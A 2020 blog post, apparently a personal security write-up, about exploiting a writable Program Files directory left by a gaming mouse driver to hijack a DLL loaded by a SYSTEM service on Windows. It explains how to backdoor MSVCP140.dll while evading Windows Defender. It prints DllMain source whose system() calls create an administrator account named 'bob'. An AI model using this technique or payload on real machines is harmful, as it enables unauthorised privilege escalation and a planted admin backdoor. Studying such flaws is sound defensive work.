Exploiting Insecure Directory Permissions

Posted on March 01, 2020 in Windows

Auditing Directory Permissions

Last year I was auditing my file system permissions using AccessChk and had discovered a directory within 'C:\Program Files (x86)' that granted full read/write to the 'Users' group. This allowed its contents to be modified by any user on the system including non-administrators.

This directory was created after installing a driver for my gaming mouse and it was assigned with these insecure permissions by default. The directory also happened to contain an executable that was configured to run as a service on startup. This service ran under the highly privileged 'NTAUTHORITY\SYSTEM' account. I was curious to see if a non-administrator user would be able to modify the contents of this directory to achieve privilege escalation.

Monitoring the Service

My first thought was to substitute the executable but this was not possible as the file would be write-protected due to it being a running process. A non-administrator user would not have the privileges to terminate this process or stop the service.

I had opened Process Monitor to monitor behaviour of the service and discovered that during initialization it had attempted to load several DLLs in from its current directory. Some of these DLLs could not be found hence returning the 'NAME NOT FOUND' result.

Backdooring 'MSVCP140.dll'

With full read/write access a non-administrator user would be able to plant an arbitrary DLL in this directory. If this DLL would have the same filename as one of the missing DLLs it would be loaded by the service during its next execution. i.e. System startup.

To test this out I decided to place backdoor code in the original 'MSVCP140.dll'. This is the Microsoft C Runtime Library which can be located at 'C:\Windows\System32'. The backdoor code would simply create a local administrator account when loaded. The service loading the DLL would be running as 'NTAUTHORITY\SYSTEM' so it would have the appropriate privileges to do so.

To backdoor the DLL, I had followed the instructions contained in the 'Introduction to Manual Backdooring ' PDF written by abatchy17. The PDF explains the steps used to manually patch a PE file to execute arbitrary code and resume normal process flow post-execution.

I noticed that after patching the DLL with an MSFVenom payload that Windows Defender would flag it as a trojan. This meant that Windows Defender would have to be disabled if this backdoored DLL were to be utilized. If this was a real-world penetration testing/red team scenario that this would be unacceptable. I wanted to see if I could figure out a way to avoid detection.

Bypassing Windows Defender

After some pondering around I found out that 'MSVCP140.dll' imported the 'LoadLibraryExA' function from 'KERNEL32.dll'. If I could call this function I would able to load any DLL of my choosing. To simplify things I had disabled ASLR on the backdoored 'MSVCP140.dll' so that the function would always reside at 0x10068064.

The reader may ask the question: "Why are you trying to load another DLL? Would you not have been able to compile a simple DLL which will create an administrator account and name it 'MSVCP140.dll' ?"

The answer to that would be that I had attempted to do this but it had only resulted in the process crashing. This is because a simple DLL would not contain any functions required by the process. Using the legitimate 'MSVCP140.dll' with backdoored code will not cause a crash.

Using Immunity Debugger I had modified the opcodes to call 'LoadLibraryExA' replacing the MSFVenom payload. I had configured it to load the file 'lol.dll'. Windows Defender did not identify this file as malicious after patching it using this method.

In Visual Studio 2019 I had created 'lol.dll' using the default DLL template. I had only added a few lines to 'dllmain.cpp' to create a user 'bob' and add him to the 'Administrators' group.

// dllmain.cpp : Defines the entry point for the DLL application.
#include "pch.h"
#include <stdlib.h>

BOOL APIENTRY DllMain( HMODULE hModule,
                       DWORD  ul_reason_for_call,
                       LPVOID lpReserved
                     )
{
    switch (ul_reason_for_call)
    {
    case DLL_PROCESS_ATTACH:
    case DLL_THREAD_ATTACH:
    case DLL_THREAD_DETACH:
    case DLL_PROCESS_DETACH:
        break;
    }
    system("cmd.exe /c net user bob Password123 /add");    
    system("cmd.exe /c net localgroup administrators bob /add");
    return TRUE;
}

Exploitation

Using a non-administrator account I had placed both the backdoored 'MSVCP140.dll' and 'lol.dll' in the insecure directory and restarted the system. After booting I had opened up ProcExp to check if the DLLs had been loaded by the service. This looks to have been successful.

We can also confirm that the 'bob' Administrator account has been created.

References

Introduction to Manual Backdooring by abatchy17 - Github

Immunity Debugger

AccessChk

Process Monitor

Process Explorer